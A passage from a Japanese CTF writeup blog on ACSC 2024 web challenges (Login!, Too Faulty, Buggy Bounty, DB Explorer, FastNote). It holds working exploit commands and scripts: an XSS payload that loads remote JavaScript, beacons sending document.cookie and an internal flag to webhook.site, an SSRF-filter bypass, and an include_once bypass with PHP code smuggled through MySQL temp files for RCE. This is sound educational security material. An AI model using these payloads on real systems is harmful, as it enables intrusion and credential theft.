gg aaaaaaaaaaaaaaaaaaaa "         autofocus onfocus=import(String.fromCharCode(47,47,…,58,56,48,48,49)) contenteditable               " &
  <div class="container">
    <div class="card mt-5">
      <div class="card-body">
        <h4 b</h4>
        <prea                            autofocus          autofocus onfocus=import(String.fromCharCode(47,47,…,58,56,48,48,49)) contenteditable               </pre>
      </div>
    </div>

これでXSSに持ち込めた。あとは import で読み込まれるJSコードを変更するだけ。

<?php
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/javascript');
?>
navigator.sendBeacon('https://webhook.site/…', document.cookie)
alert(123)
ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus}

作問者のwriteupで想定解法が紹介されている。

*1:問題についての記憶が薄れている今ちゃんとしたwriteupを書くというのも、一度解いているとはいえ、ほとんど改めて問題を解き直すようなもので面倒なので…

Asian Cyber Security Challenge (ACSC) CTF 2024 writeup

3/30 - 3/31という日程で開催された。総合順位は3位で、International Cybersecurity Challenge(ICC)*1に派遣されるチームアジアのメンバーとして選ばれる条件を満たしている(eligibleな)参加者に限ると2位。国内ではいずれも1位。もっとも、総合1位ではあるもののスコアサーバではeligibleではないとされている5unkn0wnさんは、実はeligibleであるという説があるので、eligibleプレイヤーの順位は3位になるかもしれない。

(2024-04-03追記)5unkn0wnさんがeligibleになっていた。総合順位もeligibleなプレイヤーに限った順位も3位ということになる。(追記終わり)

前回、前々回のACSCでは、チームアジアのメンバーの選考にあたって国ごとにいくつか枠が設けられており、少なくとも各国につき1人は選ばれるようになっていたほか、non-maleなプレイヤーも選考手順の中で必ず2人選ばれるようになっているというルールだった

今回はこの選考ルールに変更があり、以下のような手順となっていた。つまり、特定のカテゴリが非常に得意であるものの、ほかのカテゴリはからっきしという人であっても選ばれやすくなっていた*2

  1. 総合順位で上から3人を選ぶ
  2. 手順1で選ばれていないプレイヤーのうち、Pwn, Rev, Web, Crypto, Hardwareの各カテゴリにおいてもっとも得点していたプレイヤーをそれぞれ1人ずつ選ぶ*3
  3. 残りの7人(+substitutionの2人)は、全体ランキングからカテゴリや国籍、ジェンダーの多様性を考慮しつつ選ぶ

前回はギリギリでICCに出場できたということもあり、今回は大丈夫だろうかと自信が皆無な中挑んでいたが、よほどのことがない限り通る成績を残せて満足している*4。次回は年齢のために参加資格を失ってしまうけれども、有終の美を飾れたのではないか。欲を言えば優勝したかったが。もっとも、ルール中には "For verification, the organizers may ask the top players to submit a brief writeup after the contest is over" とあるので、writeupの提出を忘れなければという話ではある。


[Web 100] Login! (189 solves)

Here comes yet another boring login page ...

http://login-web.chal.2024.ctf.acsc.asia:5000

authored by splitline

添付ファイル: dist-login-web-c69ce99d41a01e95dab18a40def0c07953619660.tar.gz

いつもの、ログインできるだけのシステムだ。guest / guest でログインできるものの、"Welcome, guest. You do not have permission to view the flag" と怒られる。

次のようなソースコードが渡されている。guest 以外のユーザでログインするとフラグが得られるようだけれども、別のユーザである user のパスワードは完全にランダムでとても当てられそうにない。何か適当なユーザ名を入力すれば、たとえば __proto__ のような USER_DB が持っていそうなプロパティを入力すればよいのではと一瞬考えるが、ユーザ名は6文字以下でなければならないという制約がある。

const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';

const app = express();
app.use(express.urlencoded({ extended: true }));

const USER_DB = {
    user: {
        username: 'user', 
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

app.get('/', (req, res) => {
    res.send(`
    <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
    <body>
    <section>
    <h1>Login</h1>
    <form action="/login" method="post">
    <input type="text" name="username" placeholder="Username" length="6" required>
    <input type="password" name="password" placeholder="Password" required>
    <button type="submit">Login</button>
    </form>
    </section>
    </body></html>
    `);
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

さて、ここで型のチェックが一切行われていないことに注目する。ミドルウェアとしてJSONで渡されたリクエストボディをパースしてくれるものが有効化されていないので、そこまで自由にオブジェクトを渡せるわけではないけれども、express.urlencoded({ extended: true }) のおかげで配列等も渡せるようになっている。

ユーザ名として配列を渡すとどうなるか。USER_DB[username] でこの username は無理やり文字列に変換されるわけだけれども、['guest'] という配列は 'guest' という文字列になるので、ここで guest のユーザ情報が参照される。したがって、ここで user.passwordguest になる。

次の username === 'guest' というチェックだけれども、ここで username に入っているのは配列であり、厳密な比較が使われているから false になる。guest であって guest ではないという不思議な状況だ。このおかげで、そのままフラグが入手できるはずだ。

    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {

やってみると、フラグが得られた。

$ curl http://login-web.chal.2024.ctf.acsc.asia:5000/login -d 'username[]=guest&password=guest'
Welcome, guest. Here is your flag: ACSC{y3t_an0th3r_l0gin_byp4ss}
ACSC{y3t_an0th3r_l0gin_byp4ss}

[Web 150] Too Faulty (67 solves)

The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.

http://toofaulty.chal.2024.ctf.acsc.asia:80

authored by tsolmon

残念ながらソースコードはついていない。ブラックボックス問らしい。与えられたURLにアクセスすると、次のようにログインフォームが出力された。ユーザ登録もできるようになっている。

適当なユーザで登録・ログインすると、次のような画面が表示された。"Your app role: user" ということなので、このroleをadminとかにできればフラグが得られるのかなと考えられる。ブラックボックス問ならば何をするのが目的なのか問題文等で明確にしてほしいところだ。

"Setup 2FA" というボタンを押すと、2FAを有効化できる。このQRコードは otpauth://totp/SecretKey?secret=OBWWOPSUKJDUM5LHO43U633QHZTFKMDM という形式からもわかるようにTOTPのためのものだ。説明の通り、Google Authenticator等で読み込むと使えるようになる。

有効後に再度ログインしようとすると、次のようにコードとCAPTCHAを求められる。これはGoogle Authenticator等が吐き出すものを出力すればよい。なお、この "Trust only with device" にチェックを入れると、次回以降同じデバイスでログインしようとした場合に、このコード入力をスキップできる。

はじめ、この問題では何をすればよいかまったくわからなかった。admin / admin というJoeアカウントが存在しており、このアカウントは2FAが有効化されている。このユーザでログインすればよいのかと思ったけれども、参加者が作成したユーザである可能性もある。

ただ、新たにroleがadminであるユーザを作ろうにも、登録時やログイン時に roleadmin のようなパラメータを追加しても何も起こらない。404ページの見た目や壊れたJSONを投げたときのエラーメッセージ、X-Powered-By ヘッダからExpress製だとわかり、またCookieが connect.sid=s:… というような形式になっていることから、サーバサイドセッションということでCookieの改ざんの可能性もなさそう。/robots.txt/.git 等のファイルやディレクトリも存在しない。

CAPTCHAについて、/captcha というAPIを叩くとSVGが返ってきて、それが描画されるので対応する文字を打つというような流れになっている。実はこの /captcha さえ叩かなければ、CAPTCHAで入力すべき文字列は変わらないし、何度使用しても有効なままだ。コードを間違えてもアカウントのロックやら sleep やらはなさそうなので、これで2FAのコードのブルートフォースができ、admin をハックできるのではないかと思った。が、残念ながらこのコードは7桁の数値であるのでとても現実的ではない。

悩みつつクライアント側のコードを色々眺めていると、ログインフォームから読み込まれている /public/js/login.js で妙な処理を見つけた。どうやらUser-Agentを元に「デバイスID」をHMAC-SHA1で計算し、これを X-Device-Id として送信しているらしい。これで信頼されたデバイスかどうかをチェックしているのか。

    const browser = bowser.getParser(window.navigator.userAgent);
    const browserObject = browser.getBrowser();
    const versionReg = browserObject.version.match(/^(\d+\.\d+)/);
    const version = versionReg ? versionReg[1] : "unknown";
    const deviceId = CryptoJS.HmacSHA1(
      `${browserObject.name} ${version}`,
      "2846547907"
    );

    fetch("/login", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "X-Device-Id": deviceId,
      },
      body: JSON.stringify({ username, password }),
    })

このデバイスの信頼周りの実装がおかしいのではないかと当たりをつける。つまり、わざわざこんな機能を実装しているのだから、これで2FAをバイパスできるような作りになっているのではないかと推測した。たとえば、デバイスの信頼はユーザ単位ではなくセッション単位になっていて、すでにログイン状態かつそのUA・デバイスIDを信頼するとしていた場合に、そのまま admin としてログインしようとすると、2FAをバイパスしてそのままログインできるのではないかとか。とりあえず、実装してみる。

import sys
import httpx

u = '6767e2b9-0fc7-4647-839d-1ddc40aeb6c1'

with httpx.Client(base_url='http://toofaulty.chal.2024.ctf.acsc.asia/') as client:
    client.post('/login', json={
        'username': u,
        'password': u
    })
    client.get('/2fa')

    r = client.get('/captcha')
    with open('captcha.svg', 'w') as f:
        f.write(r.text)

    captcha = input('CAPTCHA?> ').strip()
    totp = input('2fa?> ').strip()

    r = client.post('/verify-2fa', json={
        'token': totp,
        'trustDevice': True,
        'captcha': captcha
    }, headers={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
        'X-Forwarded-For': '127.0.0.1',
        'X-Real-Ip': '127.0.0.1',
        'X-Device-Id': '3f1a0f203f99bbb3cd334edabce03b9b19a298d3'
    })

    if 'Verification%20failed' in r.text:
        print('what')
        sys.exit(1)

    if 'Invalid%20captcha' in r.text:
        print('what')
        sys.exit(1)

    client.get('/')

    ###

    r = client.post('/login', json={
        'username': 'admin',
        'password': 'admin'
    }, headers={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
        'X-Forwarded-For': '127.0.0.1',
        'X-Real-Ip': '127.0.0.1',
        'X-Device-Id': '3f1a0f203f99bbb3cd334edabce03b9b19a298d3'
    })
    print(r.text)

    r = client.get('/')
    print(r)
    print(r.text)

実行すると、どうやら admin としてログインできたようで、次のようにフラグが得られた。

$ python3 s.py
…
    <div class="message-container">
      <p>Welcome to TooFaulty App</p>
      <p>Your app role: ACSC{T0o_F4ulty_T0_B3_4dm1n}</p>
      <p>
        For enhanced security and peace of mind, we highly encourage enabling
        Two-Factor Authentication (2FA). It adds an extra layer of protection to
        your account, ensuring that only you have access. Embrace a safer
        experience with just a few simple steps!
      </p>
    </div>
…
ACSC{T0o_F4ulty_T0_B3_4dm1n}

この問題を解くために、Web最難関のFastNoteより時間をかけたと思う。

通常のウィンドウで "Trust …" にチェックを入れてログインし、同じブラウザのシークレットウィンドウで同じユーザでログインしたところ、2FAをスキップできた。つまり、デバイスの信頼はユーザ単位でなくセッション単位で行われているという仮説は誤っていた。

(2024-04-02追記)別のユーザでログインしたセッションを使い回したのが鍵かなと思っている。つまり、このセッションで「2FAを突破した」という情報が保存されていて、それが admin でのログイン時にも適用されたという可能性があるのではないか。(追記終わり)

実際どこにどんなバグがあったのかがわからないし、そもそもこれが何をさせたい問題だったのか、出題者の狙いがまったくわからなかった。ソースコードが提供されていなかったり、admin というユーザが参加者以外によって作られた、いわば本物の admin であるということが明示されていなかったり、色々とモヤモヤする問題だった。

非常に残念なことに、出題の意図がまったく読み取れないブラックボックス問はICCのJeopardyでも出題されるので、そういう問題も解けるかどうか確かめたかった、私が見逃していただけで重要なヒントがあった等のなにかしらの合理的な理由があるのだろうと信じたいが、やっぱりソースコードを提供してもよかったのではないかと思ってしまう。

[Web 275] Buggy Bounty (54 solves)

Are you a skilled security researcher or ethical hacker looking for a challenging and rewarding opportunity? Look no further! We're excited to invite you to participate in our highest-paying Buggy Bounty Program yet.

http://buggy-bounty.chal.2024.ctf.acsc.asia:80

authored by tsolmon

添付ファイル: dist-buggy-bounty-36acd1f40113f25857d34dcedd615e6aeb953e38.tar.gz

与えられたURLにアクセスすると、次のようなバグ報告フォームが表示される。適当に入力して報告すると "Rewarded 47$" と報奨金がもらえた。これで本当に47米ドルがもらえたらよかったのだけれども。

ソースコードを確認していく。docker-compose.yml は次の通りで、bugbountyreward という2つのコンテナから構成されていることがわかる。

version: "3.8"

services:
  bugbounty:
    build:
      context: .
      dockerfile: ./bugbounty/Dockerfile
    image: bugbounty
    ports:
      - "80:80"
    depends_on:
      - reward
    restart: always

  reward:
    build:
      context: .
      dockerfile: ./reward/Dockerfile
    image: reward
    environment:
      FLAG: "ACSC{FAKE_FLAG}"
    restart: always

フラグが含まれているらしい reward から見ていこう。コードは非常にシンプルで、次のように /bounty にアクセスするとフラグが返ってくるらしいWebサーバが動いている。

ただし、先程の docker-compose.ymlports が設定されていないことからもわかるように、外部からはアクセスできない。というより、できてしまうとアクセスするだけでフラグが得られてしまい、簡単すぎて問題として成立しない。なんとかして別のコンテナ、つまり bugbounty からこれにアクセスする必要がある。

from flask import Flask
import os

app = Flask(__name__)


@app.route('/bounty', methods=['GET'])
def get_bounty():
    flag = os.environ.get('FLAG')
    if flag:
        return flag


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False)

bugbounty を見ていく。もっとも重要なのは app/routes/routes.js で、この内容は次の通り。気になるAPIが3つあるので、整理すると次のようになる:

  • /report_bug: 先ほどのバグレポートをこいつが受け付ける
    • 受け取ったID, URL, バグの内容をそれぞれ http://127.0.0.1/triage?id=${id}&url=${url}&report=${report} というテンプレートに当てはめて、visit によってadmin botがChromiumでアクセスする
    • なお、visitauth というCookieに適切な文字列をセット(これでisAdmin かどうかチェックされているAPIを利用できるようになる)して、そのURLにアクセスするだけだ
  • /triage: admin botがアクセスする起点となるのがここ
    • 普通のHTMLにクエリパラメータの内容が展開されるだけ。HTML Injectionは存在しない
    • なお、isAdmin でチェックされていることからわかるように、通常のユーザはアクセスできない
  • /check_valid_url: 謎API
    • isAdmin かどうかのチェックがあり、やはりadmin botからアクセスされている必要はあるけれども、どうやら指定したURLへアクセスし、その内容を返してくれるらしい
    • ただし、ssrf-req-filter によってアクセス先がプライベートIPアドレス等でないか確認されており、もしそうであればブロックされる

つまり、なんとかして /triage でXSSに持ち込みたいというのと、それによってadmin botに /check_valid_url を叩かせて http://reward:5000/bounty の内容を取得させたいというのがこの問題の目的になる。また、reward は名前解決すると当然プライベートIPアドレスが返ってくるが、なんとかして ssrf-req-filter によるチェックをバイパスさせたい。

const { isAdmin, authSecret } = require("../utils/auth.js");
const express = require("express");
const router = express.Router({ caseSensitive: true });
const visit = require("../utils/bot.js");
const request = require("request");
const ssrfFilter = require("ssrf-req-filter");

router.get("/", (req, res) => {
  return res.render("index.html");
});

router.get("/triage", (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }
    let bug_id = req.query.id;
    let bug_url = req.query.url;
    let bug_report = req.query.report;

    return res.render("triage.html", {
      id: bug_id,
      url: bug_url,
      report: bug_report,
    });
  } catch (e) {
    res.status(500).send({
      error: "Server Error",
    });
  }
});

router.post("/report_bug", async (req, res) => {
  try {
    const id = req.body.id;
    const url = req.body.url;
    const report = req.body.report;
    await visit(
      `http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}`,
      authSecret
    );
  } catch (e) {
    console.log(e);
    return res.render("index.html", { err: "Server Error" });
  }
  const reward = Math.floor(Math.random() * (100 - 10 + 1)) + 10;
  return res.render("index.html", {
    message: "Rewarded " + reward + "$",
  });
});

router.get("/check_valid_url", async (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }

    const report_url = req.query.url;
    const customAgent = ssrfFilter(report_url);
    
    request(
      { url: report_url, agent: customAgent },
      function (error, response, body) {
        if (!error && response.statusCode == 200) {
          res.send(body);
        } else {
          console.error("Error:", error);
          res.status(500).send({ err: "Server error" });
        }
      }
    );
  } catch (e) {
    res.status(500).send({
      error: "Server Error",
    });
  }
});

process.on("uncaughtException", (error) => {
  console.error("Uncaught Exception:", error);
});

process.on("unhandledRejection", (reason, promise) => {
  console.error("Unhandled Rejection at:", promise, "reason:", reason);
});

module.exports = () => {
  return router;
};

まず ssrf-req-filter のバイパスだけれども、これは "bypass ssrf-req-filter" みたいなクエリでググると既知のバイパス手法を紹介する記事が見つかる。HTTPSからHTTPへリダイレクトさせればよいらしい。

確かに、HTTPSのWebサイトで次のようなPHPコードをホストして、/check_valid_urlisAdmin のチェックを外した上でアクセスすると、ダミーのフラグが得られた。ssrf-req-filter のチェックをバイパスできているらしい。

<?php
header('Location: http://reward:5000/bounty');

次に、/triage でXSSに持ち込みたいという件だけれども、前述の通りユーザ側から与えられる3つのパラメータはいずれもエスケープされて展開されてしまうので困る。ふと、/report_bug でbotのアクセス先のURLを構築する際に、?id=${id}&url=${url}&report=${report} とそのままユーザ入力を展開しており、クエリパラメータを適切にエスケープしていないことに気づく。&hoge=fuga のようなものを入力することで、新たにパラメータを増やせるのではないか。

これで何ができるのか。/triage では、何やら4つのJSコードを読み込んでいることに気づく。launch-….js はAdobeのDynamic Tag Managerらしい。arg-1.4.js はいい感じにクエリパラメータをパースしてくれるライブラリだ。

    <script
      src="/public/js/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js"
      async
    ></script>
    <script src="/public/js/jquery.min.js"></script>
    <script src="/public/js/arg-1.4.js"></script>
    <script src="/public/js/widget.js"></script>

widget.js では、次の通りarg.jsを使ってクエリパラメータをパースしている。

var params = Arg.parse(location.search);
if (params.highlight) {
  var products = document.querySelectorAll(".product");
  products.forEach(function (product) {
    product.style.backgroundColor = "";
  });
  var productToHighlight = document.getElementById(
    "product" + params.highlight
  );
  if (productToHighlight) {
    productToHighlight.style.backgroundColor = "yellow";
  }
}

クエリパラメータをパースしているということは、Prototype Pollutionの可能性があるのではないかと考えた。試しに a[__proto__][__proto__][abc]=b をクエリパラメータに追加してみると、({}).abc'b' を返すようになり、確かにできていることがわかった。あとはXSSへ持ち込むためにgadgetを見つける必要があるけれども、"adobe dtm prototype pollution gadget" でググると見つかったsrcSRC というプロパティを汚染すればよいらしい。

あとはやるだけだ。まず、次のように http://reward:5000/bounty へリダイレクトさせるページと、/check_valid_url でそのページを開かせて、返ってきた内容を別の場所に投げさせるJSコードをホストするWebサイトを用意する。HTTP, HTTPSの両方でアクセスできるようにしておこう。

$ cat neko.php
<?php
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/javascript');
?>
console.log(123);
fetch('/check_valid_url?url=https://…/poyoyon.php').then(r=>r.text()).then(r=>{navigator.sendBeacon('https://webhook.site/…',r)})
$ cat poyoyon.php
<?php
header('Location: http://reward:5000/bounty');

続いて、&a[__proto__][__proto__][SRC]=%3Cimg/src/onerror%3dimport(%27//…/neko.php%27)%3E のような内容のバグレポートを送信する。これでフラグが降ってきた。

ACSC{y0u_4ch1eved_th3_h1ghest_r3w4rd_1n_th3_Buggy_Bounty_pr0gr4m}

[Web 475] DB Explorer (14 solves)

Do you know what the db is?

http://db-exp.vuln.live/

mysql server will be restarted every 30 seconds. So, PMA will be logged out every 30 seconds. Please make sure your local payload ready.

authored by sqrtrev

添付ファイル: dist-db-exp-821ecd94f8f5b8e64d1233744b005d5eadf79e36.tar.gz

添付ファイルを展開し、まず docker-compose.yml を見る。server という色々入っていそうなコンテナと、pma というphpMyAdminが動いているコンテナがあるらしい。phpMyAdminは latest ということで既知の脆弱性を使うような問題ではないのだろうと推測する。server について詳しく見ていこう。

version: '3.4'

services:
  server:
    image: dbexplorer
    build: ./server
    ports:
      - "9000:80"
  pma:
    image: phpmyadmin:latest
    environment:
      - PMA_ARBITRARY=1
    expose:
      - 80

server ではMySQLサーバとnginxが同居している(そして前者はphpMyAdminから接続できる)。Dockerfile で重要なのは以下の部分で、このコンテナに存在している flag という実行ファイルを実行することで、フラグが入手できるということがわかる。なんらかの形でOSコマンドを実行できるようにしたい。

COPY ./flag.c /tmp/flag.c

RUN rm /var/www/html/index.nginx-debian.html
RUN gcc /tmp/flag.c -o /flag && rm /tmp/flag.c
RUN chown -R www-data /var/lib/mysql && chown -R www-data /var/run/mysqld
RUN chmod 755 /etc/mysql/my.cnf
RUN chmod 711 /flag
…

まずはMySQLの方を見ていく。init.sql でMySQLが初期化されており、次のように admin_debug というデータベースが存在していること、また demo というユーザが存在していることがわかる。demo というユーザは admin_debug のために作られたようだけれども、ただこのデータベースに対してほぼ何もできない。SELECT と、CREATE TEMPORARY TABLES で一時テーブルを作れるだけのようだ。

CREATE database admin_debug;
use mysql;
CREATE user 'demo'@'%' identified by 'demo';
GRANT SELECT, CREATE TEMPORARY TABLES on admin_debug.* to 'demo'@'%';
FLUSH PRIVILEGES;

nginxについて、設定ファイルを見ていく。普通にアクセスすると別コンテナのphpMyAdminのコンテンツを返すけれども、admin.pepe という Host を指定した場合には、このコンテナに存在しているPHPファイルにアクセスできるらしい。

upstream pma-server {
    server pma:80;
}


server {
    listen 80;

    location / {
        proxy_pass http://pma-server/;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}

server {
    listen 80;
    server_name admin.pepe;

    location ~ \.php$ {
        root           /var/www/html;
                
        fastcgi_pass   unix:/var/run/php/php7.4-fpm.sock;
        fastcgi_index  index.php;
                
        fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include        fastcgi_params;

        access_log  /dev/null;
        error_log /dev/null;
    }
}

では、この server に存在するPHPコードを見ていく。index.php は次の通りシンプルだ。normaladmin というクエリパラメータでLFIに持ち込めそうに思うけれども、その前に level という変数が 1 もしくは 2 でないと include にはたどり着けない。このファイルで level0 に初期化されており、おそらく level_checker.php で変わるのだろうと考える。

また、normal もしくは admin: が含まれていると弾かれてしまうけれども、これは php://filter のようなストリームラッパーを使うことを防ごうとしているのだろう。php://filterフィルターをチェーンしまくって強引にRCEへ持ち込むテクニックは使えそうにない。

<html>
<h1>Under development</h1>

<?php
define("__INDIRECT__",true);

session_start();

if(!$level) $level = 0;

include_once "level_checker.php";

if(preg_match('/(.*):(.*)/', $_GET['normal'].$_GET['admin'])) exit("Hmm, are you sure?");

// You can only include php file if you are not an admin!
if($level == 1){
    include_once $_GET['normal'].".php";
}

if($level == 2) {
    include $_GET['admin'];
}

?>

index.php から読み込まれている level_checker.php を見ていく。最後に level を加算する処理があるので、これで level1 になり、よって index.phpnormal の値を include させられるわけだ。

normal でさらに level_checker を指定して level_checker.php を再度実行させれば level2 に上げられるのではないかと考えたけれども、そう甘くはない。$_REQUEST['normal']level_checker が含まれていないかチェックされている。

<?php
if(__INDIRECT__ !== true) exit("No direct call");
session_start();

# level == 1 => normal user / no permission!
# level == 2 => admin user / Hey there :)

if(preg_match('/(.*)level_checker(.*)/', $_REQUEST['normal'])) exit("What are you doing? lol");

if($_SESSION['user'] === "admin") $level = 2;
else $level += 1;

?>

index.php では $_GET['normal'] が参照されているのに、level_checker.php では $_REQUEST['normal'] が参照されていることが気になった。$_REQUEST はPOSTで送信したパラメータも参照するけれども、もしそれとクエリパラメータで同名のものが存在していれば、どちらを優先するのだろうか。試してみよう。まず、以下のようにチェック用のPHPコードを用意する。

<?php
echo 'GET: ' . $_GET['p'] . "\n";
echo 'POST: ' . $_POST['p'] . "\n";
echo 'REQUEST: ' . $_REQUEST['p'] . "\n";
?>

php -S localhost:8000 で雑にサーバを立てて、クエリパラメータを送りつつリクエストボディでも同じ名前のパラメータを送信してみる。すると、次のように $_POST['p'] が優先された。

実はこの優先順位は request_order ディレクティブで決まっていて、添付ファイル中の php.ini では GP という値が設定されていた。「登録は左から右の順に行い、後から登録した値が古い値を上書きします」ということで、確かにその通りの挙動だ。

$ curl "localhost:8000?p=GET" -d "p=POST"
GET: GET
POST: POST
REQUEST: POST

この挙動を利用すれば、level_checker.php によるチェック対象は適当な文字列とさせてバイパスしつつ、実際に include されるのは level_checker.php とするということもできそうだ。

しかしながら、まだ問題はある。index.phpnormal パラメータで指定されたパスが include されるわけだけれども、ここで include_once が使われている。 index.php では先に一度 include_once "level_checker.php" されているため、level_checker を再度 include させようとしても読み込まれない。この一度読み込まれたかどうかのチェックがなかなか厳しく、/proc/self/root/var/www/html/level_checker のようにシンボリックリンクを挟んだりしても、すでに読み込まれたものと判定されてしまう。

どういう実装になっているのか気になり、またバイパス手法がないかと思い、Xでフォローしているアカウントを対象に include_once を検索したところ、Payloadさんによる、include_oncerequire_once の実装を解説する一連のポストがヒットした。パスの正規化に realpath が使われているので、それを失敗させればよいというテクニックまで書いてある。その方法は /proc/self/root/proc/self/root/… とループさせるものだった。SECCONの決勝大会で見たやつだ!

次のようなコマンドで incluide_once によるチェックをバイパスして level_checker.php を2回読み込ませることができ、それによって level2 にできた。これで include $_GET['admin'] が走る。admin/etc/passwd を指定するとユーザの一覧が返ってきて、確かに include $_GET['admin'] が実行されていることを確認できた。

$ curl -vg --output - -d "normal=hoge" -H "Host: admin.pepe" 'http://localhost:9000/index.php?normal=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/level_checker&admin=/etc/passwd'

さて、ここからRCEに持ち込む必要がある。php://filter を使って強引にRCEへ持ち込む手法は、先述の通り残念ながら使えない。なんとかして、server のどこかに好きなPHPコードを含むファイルを作成できないか。ここで、ようやくこのコンテナで動いているMySQLサーバを活かすのではないかと考えた。つまり、phpMyAdminからこのMySQLサーバに接続し、なにかしら一時ファイルが作成されるような操作を行えるのではないかと考えた。

わざわざ CREATE TEMPORARY TABLEdemo によって使えるよう許可されていたのが怪しい。これで次のようなSQL文を実行しつつ、grep -rl nekochan /var /etc を実行する。すると、/var/lib/mysql/#innodb_temp/temp_9.ibt というファイルがヒットした。この一時ファイルに一時テーブルの内容が書き込まれているらしい。

START TRANSACTION;
USE admin_debug;
CREATE TEMPORARY TABLE nekochan (nekochan TEXT(240));
INSERT INTO nekochan VALUES ('<?php passthru("/flag"); ?>');
SELECT SLEEP(100);
COMMIT;

あとはやるだけだ。先程のSQL文を実行しつつ、次のコマンドを実行する。これでフラグが得られた。

$ for i in {1..100}; do curl -vg --output - -d "normal=hoge" -H "Host: admin.pepe" 'http://db-exp.vuln.live/index.php?normal=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/level_checker&admin=/var/lib/mysql/%23innodb_temp/temp_'$i'.ibt' 2>/dev/null | strings | grep ACSC; done
ACSC{558b4f968cc61225d6fe55a68454334a}
ACSC{558b4f968cc61225d6fe55a68454334a}

[Web 500] FastNote (11 solves)

I heard WebAssembly is super fast, so I made a note-taking app with it. What could go wrong?

http://fastnote.chal.2024.ctf.acsc.asia:8000

Test your solution locally and submit it to the admin bot. When submitting to the admin bot, use http://chall:5000 to interact with the challenge.

authored by zeyu

添付ファイル: dist-fastnote-b0fea0571a1b370d3bf7c4debc9b9fa0de6db171.tar.gz

与えられたURLにアクセスすると、いつものという感じでメモを入力するフォームが表示された。これで作成されたメモはサーバ側では保存されず、代わりに /?s=W3siYWN0…OjF9XQ== というようなリンクが発行され、これにアクセスすることで作成したメモを閲覧できる。

このパラメータをBase64デコードすると、次のようなJSONが出てくる。なるほど、メモを作成したり、あるいは削除したりという操作が含まれているようだ。

[
    {"action":"add","title":"hoge","content":"fuga"},
    {"action":"add","title":"piyo","content":"poyo"},
    {"action":"delete","noteId":1}
]

ソースコードを見ていく。docker-compose.yml は次の通り。chall というWebサーバのためのコンテナと、admin というadmin botのためのコンテナがあるとわかる。

$ cat docker-compose.yml
version: "3"
services:
  chall:
    build: ./app
    ports:
      - 5000:80
    environment:
      - FLAG=ACSC{FAKE_FLAG}
      - SECRET=FAKE_SECRET

  admin:
    build: ./admin
    privileged: true
    environment:
      - SECRET=FAKE_SECRET
      - DOMAIN=chall
    ports:
      - 8000:8000

admin から見ていく。これはadmin botがChromiumでユーザから与えられたURLにアクセスするものだけれども、コードはシンプルだ。URLへアクセスする処理は次の通り。SECRET というCookieに、環境変数の SECRET から与えられた秘密の文字列を設定している。

        await page.setCookie({
            name: 'SECRET',
            value: process.env.SECRET,
            domain: process.env.DOMAIN,
            path: '/',
            httpOnly: true,
            sameSite: 'lax'
        })
        
        // Go to your URL
        await page.goto(url, { timeout: 2000, waitUntil: 'networkidle2' })
        await page.waitForTimeout(2000)

chall を見ていく。サーバ側のコードは次の通りGolangで書かれている。サーバ側では大したことはしておらず、基本的にクライアント側で色々処理をしていることがわかるけれども、2点注目したい点がある。

まず /flag からフラグが得られるわけだけれども、ここで環境変数の SECRET が参照されている。SECRET というCookieがその値と一致している場合にのみフラグを返すわけだけれども、先程のadmin botの処理を照らし合わせて、admin botのみがここにアクセスできるとわかる。

もうひとつ気になるのはCSPで、script-src 'self' 'unsafe-eval' とJavaScriptの実行に関してやや厳しいものが設定されている。ただ、default-src 含めほかのディレクティブが設定されていないのはありがたい。

package main

import (
    "fmt"
    "net/http"
    "os"

    "github.com/gin-gonic/gin"
)

func main() {

    r := gin.Default()

    r.Static("/static", "./static")
    r.LoadHTMLGlob("templates/*.html")

    r.Use(func() gin.HandlerFunc {
        return func(c *gin.Context) {
            c.Writer.Header().Set("Content-Security-Policy", "script-src 'self' 'unsafe-eval'")
